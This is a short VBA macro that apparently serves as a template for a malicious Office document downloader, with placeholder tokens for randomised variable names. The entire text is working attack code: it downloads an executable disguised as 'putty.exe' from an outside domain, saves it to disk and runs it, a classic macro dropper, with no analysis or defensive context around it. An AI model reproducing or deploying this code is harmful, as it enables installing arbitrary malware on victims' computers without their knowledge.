Private Sub Test() Dim [rdm::10]xHttp: Set xHttp = CreateObject("Microsoft.XMLHTTP") Dim [rdm::10]bStrm: Set bStrm = CreateObject("Adodb.Stream") xHttp.Open "GET", "http://oceanshipforafrica.gdn/Asilo/putty.exe", False xHttp.Send With bStrm .Type = 1 '//binary .Open .write xHttp.responseBody .savetofile "file.exe", 2 '//overwrite End With Shell ("file.exe") End Sub